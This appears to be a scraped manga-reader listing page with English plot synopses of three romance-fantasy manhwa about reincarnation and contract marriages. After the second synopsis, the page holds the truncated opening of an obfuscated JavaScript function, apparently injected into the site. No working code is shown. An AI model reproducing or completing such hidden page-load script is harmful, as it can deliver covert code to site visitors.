Love Hawk

Read manhwa Love Hawk / 사랑의 매 After suddenly dying at the age of 17, Emily opens her eyes again as Jane, a poor fallen noble. To survive, she needs to find a job. As a noblewoman, being a tutor seems like a simple enough job. However, the student she has to teach is the only successor of Duke Kleinfelt &#8211; Samuel Kleinfelt. The ill tempered child in front of her is the man who cut off her neck in her past life and was the worst enemy who ruined Lindell, the Dukes family. ‘Alright, I&#8217;ll raise this brat well and prevent future tragedies.’ ‘Call me Teacher Jane. Teacher Jane.’ ‘What an eyesore. Die, old maid.’ His words are like those of a beast and his attitude is savage. Can I really tame this scoundrel?

Lady Cindrella

“I need a fake fiance to protect me!” After her mother’s death, Elladis(Ella), who had fallen from her father’s favor, was reduced to being a maid under the abuse of her step-mother and sisters. Her stepmother wasn’t satisfied to treat Ella as her maid, so she forced her to marry a gambler-crazy Viscount. The only pleasure for Ella, who lives a difficult life, was the country’s hero, Archduke Wellington. Ella goes through each day memorizing anything about Archduke Wellington. However, a man, who is her husband only in name, sells Ella to his gambling debts, and Ella, who runs away with the intention of dying, returns to the age of 18 after a desperate wish. The opportunity came once again like a miracle! She decided not to live the way she used to, until Ella inherited her mother’s legacy. She decides to entrust herself to Archduke Wellington. “Please save me from this house.” “What can I get in return for saving you?” “I’ll be your fake fiancee.” What will be the conclusion of Ella’s bold choice, who proposes a contractual engagement to Archduke Wellington using the information she knows from her previous life as bait ?<script></script><script>function _0x3a30(){var

Sickly? Husband’s Contractual Wife

I’m Selena, a daughter born to a family well-known for their fertile women. I was all but sold off in a marriage to a sickly duke whose life hung in the balance, all for the sake of producing an heir for his family. They provided me a medicine purported to aid in pregnancy, and the astrologist advised me good days for sleeping together, but… there was no child. “So, are there any signs of pregnancy?” “Ah, I-I’m sorry.” “You’re useless. What luck do you think won you the position of the duke’s wife?” I couldn’t say a word. ‘No, excuse me. I only have to look at the sky to pluck a star. That’s how I attained this position.’ * [(metaphor) Lit. Plucking a star from the sky: something that’s difficult to get/achieve) *** A husband who doesn’t like touching me in the least. But he’s still pitiful so let’s at least make him healthy by feeding him nutritious food, getting him to exercise, and I’ll taste test any doubtful food first personally. Once he recovers from my extensive efforts, I’ll sign an annulment paper and flee, but… “You agreed to a contract to bear me an heir. But to think you would go back on your words…” Although he’s in good health now, my “former” husband has become a bit too healthy. “You’re healthy now!” “The duties of marriage are sacred. I will collect my dues.” “Wait. Wait! But we’re divorced? We’re no longer husband and wife…” He smirked then took a piece of paper from his breast pocket and tossed it to me. “We aren’t divorced yet.” Huh?!
